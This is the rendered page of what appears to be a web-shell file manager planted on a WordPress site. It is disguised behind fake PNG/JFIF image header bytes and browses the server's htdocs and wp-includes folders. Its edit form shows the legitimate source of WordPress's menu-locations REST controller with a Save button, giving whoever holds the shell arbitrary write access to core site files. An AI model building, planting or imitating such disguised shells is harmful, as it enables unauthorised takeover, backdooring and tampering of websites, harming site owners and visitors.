�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2F'>apache.gix-webserver.at</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2Frest-api%2F'>rest-api</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2Frest-api%2Fendpoints%2F'>endpoints</a>/</p><hr><h3>✏️ Editing: class-wp-rest-menu-locations-controller.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * REST API: WP_REST_Menu_Locations_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to access menu locations via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menu_Locations_Controller extends WP_REST_Controller {

	/**
	 * Menu Locations Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this-&gt;namespace = &#039;wp/v2&#039;;
		$this-&gt;rest_base = &#039;menu-locations&#039;;
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 5.9.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this-&gt;namespace,
			&#039;/&#039; . $this-&gt;rest_base,
			array(
				array(
					&#039;methods&#039;             =&gt; WP_REST_Server::READABLE,
					&#039;callback&#039;            =&gt; array( $this, &#039;get_items&#039; ),
					&#039;permission_callback&#039; =&gt; array( $this, &#039;get_items_permissions_check&#039; ),
					&#039;args&#039;                =&gt; $this-&gt;get_collection_params(),
				),
				&#039;schema&#039; =&gt; array( $this, &#039;get_public_item_schema&#039; ),
			)
		);

		register_rest_route(
			$this-&gt;namespace,
			&#039;/&#039; . $this-&gt;rest_base . &#039;/(?P&lt;location&gt;[\w-]+)&#039;,
			array(
				&#039;args&#039;   =&gt; array(
					&#039;location&#039; =&gt; array(
						&#039;description&#039; =&gt; __( &#039;An alphanumeric identifier for the menu location.&#039; ),
						&#039;type&#039;        =&gt; &#039;string&#039;,
					),
				),
				array(
					&#039;methods&#039;             =&gt; WP_REST_Server::READABLE,
					&#039;callback&#039;            =&gt; array( $this, &#039;get_item&#039; ),
					&#039;permission_callback&#039; =&gt; array( $this, &#039;get_item_permissions_check&#039; ),
					&#039;args&#039;                =&gt; array(
						&#039;context&#039; =&gt; $this-&gt;get_context_param( array( &#039;default&#039; =&gt; &#039;view&#039; ) ),
					),
				),
				&#039;schema&#039; =&gt; array( $this, &#039;get_public_item_schema&#039; ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read menu locations.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this-&gt;check_has_read_only_access( $request );
	}

	/**
	 * Retrieves all menu locations, depending on user context.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data = array();

		foreach ( get_registered_nav_menus() as $name =&gt; $description ) {
			$location              = new stdClass();
			$location-&gt;name        = $name;
			$location-&gt;description = $description;

			$location      = $this-&gt;prepare_item_for_response( $location, $request );
			$data[ $name ] = $this-&gt;prepare_response_for_collection( $location );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this-&gt;check_has_read_only_access( $request );
	}

	/**
	 * Retrieves a specific menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$registered_menus = get_registered_nav_menus();
		if ( ! array_key_exists( $request[&#039;location&#039;], $registered_menus ) ) {
			return new WP_Error( &#039;rest_menu_location_invalid&#039;, __( &#039;Invalid menu location.&#039; ), array( &#039;status&#039; =&gt; 404 ) );
		}

		$location              = new stdClass();
		$location-&gt;name        = $request[&#039;location&#039;];
		$location-&gt;description = $registered_menus[ $location-&gt;name ];

		$data = $this-&gt;prepare_item_for_response( $location, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * @since 6.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the current user has permission, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		$read_only_access = apply_filters( &#039;rest_menu_read_access&#039;, false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( ! current_user_can( &#039;edit_theme_options&#039; ) ) {
			return new WP_Error(
				&#039;rest_cannot_view&#039;,
				__( &#039;Sorry, you are not allowed to view menu locations.&#039; ),
				array( &#039;status&#039; =&gt; rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares a menu location object for serialization.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Menu location data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$location = $item;

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location-&gt;name ] ) ? $locations[ $location-&gt;name ] : 0;

		$fields = $this-&gt;get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( &#039;name&#039;, $fields ) ) {
			$data[&#039;name&#039;] = $location-&gt;name;
		}

		if ( rest_is_field_included( &#039;description&#039;, $fields ) ) {
			$data[&#039;description&#039;] = $location-&gt;description;
		}

		if ( rest_is_field_included( &#039;menu&#039;, $fields ) ) {
			$data[&#039;menu&#039;] = (int) $menu;
		}

		$context = ! empty( $request[&#039;context&#039;] ) ? $request[&#039;context&#039;] : &#039;view&#039;;
		$data    = $this-&gt;add_additional_fields_to_object( $data, $request );
		$data    = $this-&gt;filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( &#039;_links&#039;, $fields ) || rest_is_field_included( &#039;_embedded&#039;, $fields ) ) {
			$response-&gt;add_links( $this-&gt;prepare_links( $location ) );
		}

		/**
		 * Filters menu location data returned from the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $location The original location object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( &#039;rest_prepare_menu_location&#039;, $response, $location, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass $location Menu location.
	 * @return array Links for the given menu location.
	 */
	protected function prepare_links( $location ) {
		$base = sprintf( &#039;%s/%s&#039;, $this-&gt;namespace, $this-&gt;rest_base );

		// Entity meta.
		$links = array(
			&#039;self&#039;       =&gt; array(
				&#039;href&#039; =&gt; rest_url( trailingslashit( $base ) . $location-&gt;name ),
			),
			&#039;collection&#039; =&gt; array(
				&#039;href&#039; =&gt; rest_url( $base ),
			),
		);

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location-&gt;name ] ) ? $locations[ $location-&gt;name ] : 0;
		if ( $menu ) {
			$path = rest_get_route_for_term( $menu );
			if ( $path ) {
				$url = rest_url( $path );

				$links[&#039;https://api.w.org/menu&#039;][] = array(
					&#039;href&#039;       =&gt; $url,
					&#039;embeddable&#039; =&gt; true,
				);
			}
		}

		return $links;
	}

	/**
	 * Retrieves the menu location&#039;s schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this-&gt;schema ) {
			return $this-&gt;add_additional_fields_schema( $this-&gt;schema );
		}

		$this-&gt;schema = array(
			&#039;$schema&#039;    =&gt; &#039;http://json-schema.org/draft-04/schema#&#039;,
			&#039;title&#039;      =&gt; &#039;menu-location&#039;,
			&#039;type&#039;       =&gt; &#039;object&#039;,
			&#039;properties&#039; =&gt; array(
				&#039;name&#039;        =&gt; array(
					&#039;description&#039; =&gt; __( &#039;The name of the menu location.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;embed&#039;, &#039;view&#039;, &#039;edit&#039; ),
					&#039;readonly&#039;    =&gt; true,
				),
				&#039;description&#039; =&gt; array(
					&#039;description&#039; =&gt; __( &#039;The description of the menu location.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;embed&#039;, &#039;view&#039;, &#039;edit&#039; ),
					&#039;readonly&#039;    =&gt; true,
				),
				&#039;menu&#039;        =&gt; array(
					&#039;description&#039; =&gt; __( &#039;The ID of the assigned menu.&#039; ),
					&#039;type&#039;        =&gt; &#039;integer&#039;,
					&#039;context&#039;     =&gt; array( &#039;embed&#039;, &#039;view&#039;, &#039;edit&#039; ),
					&#039;readonly&#039;    =&gt; true,
				),
			),
		);

		return $this-&gt;add_additional_fields_schema( $this-&gt;schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			&#039;context&#039; =&gt; $this-&gt;get_context_param( array( &#039;default&#039; =&gt; &#039;view&#039; ) ),
		);
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Fhtdocs%2Fwp-includes%2Frest-api%2Fendpoints'>🔙 Back</a></p>